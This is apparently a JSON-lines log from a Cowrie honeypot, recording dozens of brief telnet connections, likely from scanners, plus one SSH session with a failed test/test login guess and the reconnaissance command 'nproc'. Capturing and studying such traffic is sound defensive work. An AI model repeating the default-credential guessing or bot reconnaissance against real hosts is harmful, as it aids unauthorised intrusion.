{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51256,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc7b8b29738d","protocol":"telnet","message":"New connection: 51.161.172.108:51256 (159.203.135.109:23) [session: dc7b8b29738d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.377454Z"}
{"eventid":"cowrie.session.closed","duration":31.63636589050293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.514462Z","src_ip":"51.161.172.108","session":"56e81b4afb20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51290,"dst_ip":"159.203.135.109","dst_port":23,"session":"d705f65dc021","protocol":"telnet","message":"New connection: 51.161.172.108:51290 (159.203.135.109:23) [session: d705f65dc021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.691651Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51342,"dst_ip":"159.203.135.109","dst_port":23,"session":"5834b27853b0","protocol":"telnet","message":"New connection: 51.161.172.108:51342 (159.203.135.109:23) [session: 5834b27853b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.810990Z"}
{"eventid":"cowrie.session.closed","duration":31.71548819541931,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:11.830089Z","src_ip":"51.161.172.108","session":"95404b200ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51440,"dst_ip":"159.203.135.109","dst_port":23,"session":"de9fd0d5f176","protocol":"telnet","message":"New connection: 51.161.172.108:51440 (159.203.135.109:23) [session: de9fd0d5f176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.116649Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51460,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d0afb35d137","protocol":"telnet","message":"New connection: 51.161.172.108:51460 (159.203.135.109:23) [session: 2d0afb35d137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.207811Z"}
{"eventid":"cowrie.session.closed","duration":30.551116228103638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.232683Z","src_ip":"51.161.172.108","session":"e5f7ef4a88db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.513492107391357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.247259Z","src_ip":"51.161.172.108","session":"23c434061da4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51474,"dst_ip":"159.203.135.109","dst_port":23,"session":"f13ae28ab6aa","protocol":"telnet","message":"New connection: 51.161.172.108:51474 (159.203.135.109:23) [session: f13ae28ab6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.294655Z"}
{"eventid":"cowrie.session.closed","duration":31.306856632232666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.300970Z","src_ip":"45.10.154.244","session":"fd6b66d546e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":49414,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecf45f75e6a4","protocol":"telnet","message":"New connection: 45.10.154.244:49414 (10.17.0.5:23) [session: ecf45f75e6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.544473Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51546,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ad9983732ca","protocol":"telnet","message":"New connection: 51.161.172.108:51546 (159.203.135.109:23) [session: 4ad9983732ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.564108Z"}
{"eventid":"cowrie.session.closed","duration":31.67619252204895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:12.662462Z","src_ip":"51.161.172.108","session":"11d6fe88018c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589019060134888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.066763Z","src_ip":"45.10.154.244","session":"98138bd8bd0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":42498,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c73f6f2d6ba","protocol":"telnet","message":"New connection: 167.99.38.72:42498 (159.203.135.109:23) [session: 3c73f6f2d6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.196382Z"}
{"eventid":"cowrie.session.closed","duration":30.940104722976685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.224956Z","src_ip":"51.161.172.108","session":"906ba571e3ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175769329071045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.262047Z","src_ip":"51.161.172.108","session":"96b88697ecd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50374484062195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.534273Z","src_ip":"51.161.172.108","session":"1e8d5823945d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054413080215454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.562921Z","src_ip":"51.161.172.108","session":"c02dd331fadd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78333616256714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.891212Z","src_ip":"51.161.172.108","session":"16ee36507ad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51698,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ebd9a70c5f0","protocol":"telnet","message":"New connection: 51.161.172.108:51698 (159.203.135.109:23) [session: 0ebd9a70c5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.926707Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51702,"dst_ip":"159.203.135.109","dst_port":23,"session":"955a5ce25a20","protocol":"telnet","message":"New connection: 51.161.172.108:51702 (159.203.135.109:23) [session: 955a5ce25a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:13.966285Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51680,"dst_ip":"159.203.135.109","dst_port":23,"session":"f68aca0bfd3d","protocol":"telnet","message":"New connection: 51.161.172.108:51680 (159.203.135.109:23) [session: f68aca0bfd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.002846Z"}
{"eventid":"cowrie.session.closed","duration":32.22830009460449,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.048312Z","src_ip":"51.161.172.108","session":"8faa9f49c392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51700,"dst_ip":"159.203.135.109","dst_port":23,"session":"4040f69dc27b","protocol":"telnet","message":"New connection: 51.161.172.108:51700 (159.203.135.109:23) [session: 4040f69dc27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.107174Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51752,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf0582f4ede8","protocol":"telnet","message":"New connection: 51.161.172.108:51752 (159.203.135.109:23) [session: cf0582f4ede8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.126823Z"}
{"eventid":"cowrie.session.closed","duration":30.55086612701416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.149319Z","src_ip":"51.161.172.108","session":"2271595b064d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51894,"dst_ip":"159.203.135.109","dst_port":23,"session":"1751a5f6afcd","protocol":"telnet","message":"New connection: 51.161.172.108:51894 (159.203.135.109:23) [session: 1751a5f6afcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.165002Z"}
{"eventid":"cowrie.session.closed","duration":31.11747145652771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.218995Z","src_ip":"51.161.172.108","session":"9c4074a4c950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6727511882782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.233913Z","src_ip":"51.161.172.108","session":"366e5162804e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51782,"dst_ip":"159.203.135.109","dst_port":23,"session":"622cfb572423","protocol":"telnet","message":"New connection: 51.161.172.108:51782 (159.203.135.109:23) [session: 622cfb572423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.313867Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51846,"dst_ip":"159.203.135.109","dst_port":23,"session":"bddfcd5b207e","protocol":"telnet","message":"New connection: 51.161.172.108:51846 (159.203.135.109:23) [session: bddfcd5b207e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.421874Z"}
{"eventid":"cowrie.session.closed","duration":31.423299074172974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.428020Z","src_ip":"51.161.172.108","session":"7b6e0fee0508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51892,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bc098b94b44","protocol":"telnet","message":"New connection: 51.161.172.108:51892 (159.203.135.109:23) [session: 3bc098b94b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.580467Z"}
{"eventid":"cowrie.session.closed","duration":30.934271812438965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.594192Z","src_ip":"51.161.172.108","session":"dc0e2e16c141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51916,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2112cb10134","protocol":"telnet","message":"New connection: 51.161.172.108:51916 (159.203.135.109:23) [session: c2112cb10134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.603239Z"}
{"eventid":"cowrie.session.closed","duration":35.924665451049805,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.656650Z","src_ip":"167.99.38.72","session":"666f8ffa577e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51282,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cccb3fb71cd","protocol":"telnet","message":"New connection: 51.161.172.108:51282 (159.203.135.109:23) [session: 9cccb3fb71cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.707432Z"}
{"eventid":"cowrie.session.closed","duration":31.798222303390503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.850792Z","src_ip":"51.161.172.108","session":"7333c606b34d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51942,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e6f5115b981","protocol":"telnet","message":"New connection: 51.161.172.108:51942 (159.203.135.109:23) [session: 7e6f5115b981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:14.858770Z"}
{"eventid":"cowrie.session.closed","duration":31.508366107940674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.064327Z","src_ip":"51.161.172.108","session":"3250479f5b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92620325088501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.082746Z","src_ip":"45.10.154.244","session":"57020dd4d060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032368421554565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.151446Z","src_ip":"51.161.172.108","session":"3256d2a1dbe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49931049346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.349612Z","src_ip":"51.161.172.108","session":"fcc277c5741f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910098552703857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.454990Z","src_ip":"51.161.172.108","session":"926714f103c6","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.551483Z","src_ip":"122.168.114.167","session":"ae4c7f6aa9c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"nproc","message":"CMD: nproc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.557060Z","src_ip":"122.168.114.167","session":"ae4c7f6aa9c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.792892694473267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.569927Z","src_ip":"51.161.172.108","session":"17fa6ba155c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":46418,"dst_ip":"159.203.135.109","dst_port":23,"session":"9542aa9ee69b","protocol":"telnet","message":"New connection: 167.99.38.72:46418 (159.203.135.109:23) [session: 9542aa9ee69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.600713Z"}
{"eventid":"cowrie.session.closed","duration":31.109187126159668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.700196Z","src_ip":"51.161.172.108","session":"1a5365fa4877","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.902825Z","src_ip":"122.168.114.167","session":"ad73734dbeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.86060070991516,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.915117Z","src_ip":"167.99.38.72","session":"b6b37d544602","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51992,"dst_ip":"159.203.135.109","dst_port":23,"session":"182062f7307d","protocol":"telnet","message":"New connection: 51.161.172.108:51992 (159.203.135.109:23) [session: 182062f7307d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.936537Z"}
{"eventid":"cowrie.session.closed","duration":32.05709624290466,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:15.943870Z","src_ip":"51.161.172.108","session":"0af8cba190d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52022,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ff2d59a988","protocol":"telnet","message":"New connection: 51.161.172.108:52022 (159.203.135.109:23) [session: a1ff2d59a988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.036900Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52034,"dst_ip":"159.203.135.109","dst_port":23,"session":"bea9a943a7a5","protocol":"telnet","message":"New connection: 51.161.172.108:52034 (159.203.135.109:23) [session: bea9a943a7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.129265Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52024,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae14d105c0e6","protocol":"telnet","message":"New connection: 51.161.172.108:52024 (159.203.135.109:23) [session: ae14d105c0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.232920Z"}
{"eventid":"cowrie.session.closed","duration":30.843627452850342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.240321Z","src_ip":"51.161.172.108","session":"e9f3c3d4571c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.292071104049683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.273459Z","src_ip":"51.161.172.108","session":"5eab146e9043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51806,"dst_ip":"159.203.135.109","dst_port":23,"session":"c84bad3ce281","protocol":"telnet","message":"New connection: 51.161.172.108:51806 (159.203.135.109:23) [session: c84bad3ce281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.338858Z"}
{"eventid":"cowrie.session.closed","duration":31.489774465560913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.369921Z","src_ip":"51.161.172.108","session":"d7bc77553d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923444509506226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.446260Z","src_ip":"51.161.172.108","session":"526331d4cade","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03652238845825,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.586405Z","src_ip":"51.161.172.108","session":"60ed777d4013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52146,"dst_ip":"159.203.135.109","dst_port":23,"session":"02be5d1aacbc","protocol":"telnet","message":"New connection: 51.161.172.108:52146 (159.203.135.109:23) [session: 02be5d1aacbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.609919Z"}
{"eventid":"cowrie.session.closed","duration":30.944570302963257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.689144Z","src_ip":"51.161.172.108","session":"064691202946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52178,"dst_ip":"159.203.135.109","dst_port":23,"session":"b311fa667dc7","protocol":"telnet","message":"New connection: 51.161.172.108:52178 (159.203.135.109:23) [session: b311fa667dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.800248Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52194,"dst_ip":"159.203.135.109","dst_port":23,"session":"642a2f23e732","protocol":"telnet","message":"New connection: 51.161.172.108:52194 (159.203.135.109:23) [session: 642a2f23e732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.844087Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52186,"dst_ip":"159.203.135.109","dst_port":23,"session":"d29ce661e96e","protocol":"telnet","message":"New connection: 51.161.172.108:52186 (159.203.135.109:23) [session: d29ce661e96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.849060Z"}
{"eventid":"cowrie.session.closed","duration":31.745792150497437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:16.861241Z","src_ip":"51.161.172.108","session":"b7548c7fb007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66057014465332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:17.227508Z","src_ip":"51.161.172.108","session":"c47d7935b0b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90811324119568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:17.235977Z","src_ip":"51.161.172.108","session":"d9bfd1e3db53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648086309432983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:17.372523Z","src_ip":"51.161.172.108","session":"a7b49a6fd74f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.578173398971558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:17.478511Z","src_ip":"51.161.172.108","session":"102baeead281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.887643575668335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:17.703979Z","src_ip":"51.161.172.108","session":"f1eebdbb59a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.874959707260132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:17.780912Z","src_ip":"51.161.172.108","session":"4c965161f932","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150058269500732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:17.851142Z","src_ip":"51.161.172.108","session":"34166e751add","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.064796686172485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.071146Z","src_ip":"51.161.172.108","session":"f490a28ad99c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53788995742798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.076748Z","src_ip":"51.161.172.108","session":"80e55119e531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52322,"dst_ip":"159.203.135.109","dst_port":23,"session":"06bd92733342","protocol":"telnet","message":"New connection: 51.161.172.108:52322 (159.203.135.109:23) [session: 06bd92733342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.130420Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52326,"dst_ip":"159.203.135.109","dst_port":23,"session":"5803112e9d72","protocol":"telnet","message":"New connection: 51.161.172.108:52326 (159.203.135.109:23) [session: 5803112e9d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.156291Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52334,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9099e21a64f","protocol":"telnet","message":"New connection: 51.161.172.108:52334 (159.203.135.109:23) [session: d9099e21a64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.189903Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52340,"dst_ip":"159.203.135.109","dst_port":23,"session":"f78d6b3c4cbf","protocol":"telnet","message":"New connection: 51.161.172.108:52340 (159.203.135.109:23) [session: f78d6b3c4cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:18.217337Z"}
